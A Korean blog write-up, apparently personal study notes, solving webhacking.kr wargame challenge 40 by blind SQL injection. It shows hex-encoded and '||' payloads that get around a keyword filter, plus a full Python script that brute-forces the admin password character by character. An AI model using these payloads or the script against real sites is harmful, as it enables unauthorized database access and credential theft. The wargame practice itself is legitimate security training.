-
[Webhacking.kr] 40번 풀이Wargame/webhacking.kr (old) 2019. 5. 7. 19:01
login 버튼을 누르면 get 방식으로 no, id, pw 값이 전송되고,
페이지에 Success - guest가 출력되며, 조금 뒤 원래 페이지로 돌아온다.
이 문제는 php 소스가 주어지지 않았기때문에 추측해서 풀어야한다.
추측을 위해 no의 값을 2로 변경하고 login 버튼을 눌러보았다.
Failure
or을 이용하여 no=2||no=1을 입력해보았더니 guest로 로그인하는데 성공하였다.
no의 값을 이용하여 관리자의 아이디와 비밀번호를 알아낼 수 있을 것 같다.
magic_quote_gpc 옵션이 켜져 있기때문에 no=0||id=admin을 입력하기 위해 char함수를 이용하였다.
admin : char(97, 100, 109, 105, 110)
char이 필터링되어 있는 것 같다. hex 값으로 입력해보았다.
admin : 0x61646d696e
admin password 가 출력되었다. 관리자 계정의 id는 admin이다.
넣어주는 값에 따라 페이지에 출력되는 결과가 다르다.
이를 이용해 password를 알아내는 Blind SQL Injection 문제이다.
admin의 password 값을 찾아보자.
[ 필터링된 문자열 ]
ascii, ord, char, or, and
필터링된 문자열을 피해서 비밀번호를 알아내면 될 것 같다.
?no=0||id=0x61646d696e&&length(pw)=숫자&id=guest&pw=guest
?no=0||id=0x61646d696e&&substr(pw,1,1)=0x61&id=guest&pw=guest
(&&는 %26%26으로 입력해주어야한다. &를 파라미터 구분자로 인식하기 때문에 and로 인식하지 못한다.)
[ url 특수문자 ] https://hyubidatnet.tistory.com/entry/URL에-쓰이는-특수-문자들과-그들의-의미
비밀번호를 알아내기 위해 python을 이용해 소스를 짰다.
[ 소스코드 ]
#!/usr/bin/env python # -*- coding: utf8 -*- import requests headers = {'Host': 'webhacking.kr', 'Cookie': 'PHPSESSID=be3bb46cd72f7e160164229a5a0a510e;'} url = "http://webhacking.kr/challenge/web/web-29/index.php" string = "abcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-=+[]{};:'\"<>,.?/ABCDEFGHIJKLMNOPQRSTUVWXYZ" len = 0 while True: data = "?no=0||id=0x61646d696e%26%26length(pw)="+str(len)+"&id=a&pw=a" r = requests.get(url+data,headers=headers) if r.text.find('admin password :') != -1: break len += 1 if (len == 50): len = 5 print "------------------------------------------------" print "PASSWORD LEN : ", len print "------------------------------------------------" pw = '' for i in range(1,len+1): for j in string: data = "?no=0||id=0x61646d696e%26%26substr(pw,"+str(i)+",1)=0x"+j.encode("hex")+"&id=a&pw=a" r = requests.get(url+data,headers=headers) if r.text.find('admin password :') != -1: pw += j print "found : ", pw break print "------------------------------------------------" print "PASSWORD : ", pw print "------------------------------------------------"
[ 실행 결과 ]
admin의 password는 luck_admin이다.
알아낸 비밀번호를 admin password에 제출하면 문제가 풀린다.
'Wargame > webhacking.kr (old)' 카테고리의 다른 글
[Webhacking.kr] 42번 풀이 (0) 2019.05.07 [Webhacking.kr] 41번 풀이 (0) 2019.05.07 [Webhacking.kr] 39번 풀이 (0) 2019.05.07 [Webhacking.kr] 38번 풀이 (0) 2019.05.07 [Webhacking.kr] 37번 풀이 (0) 2019.05.07 댓글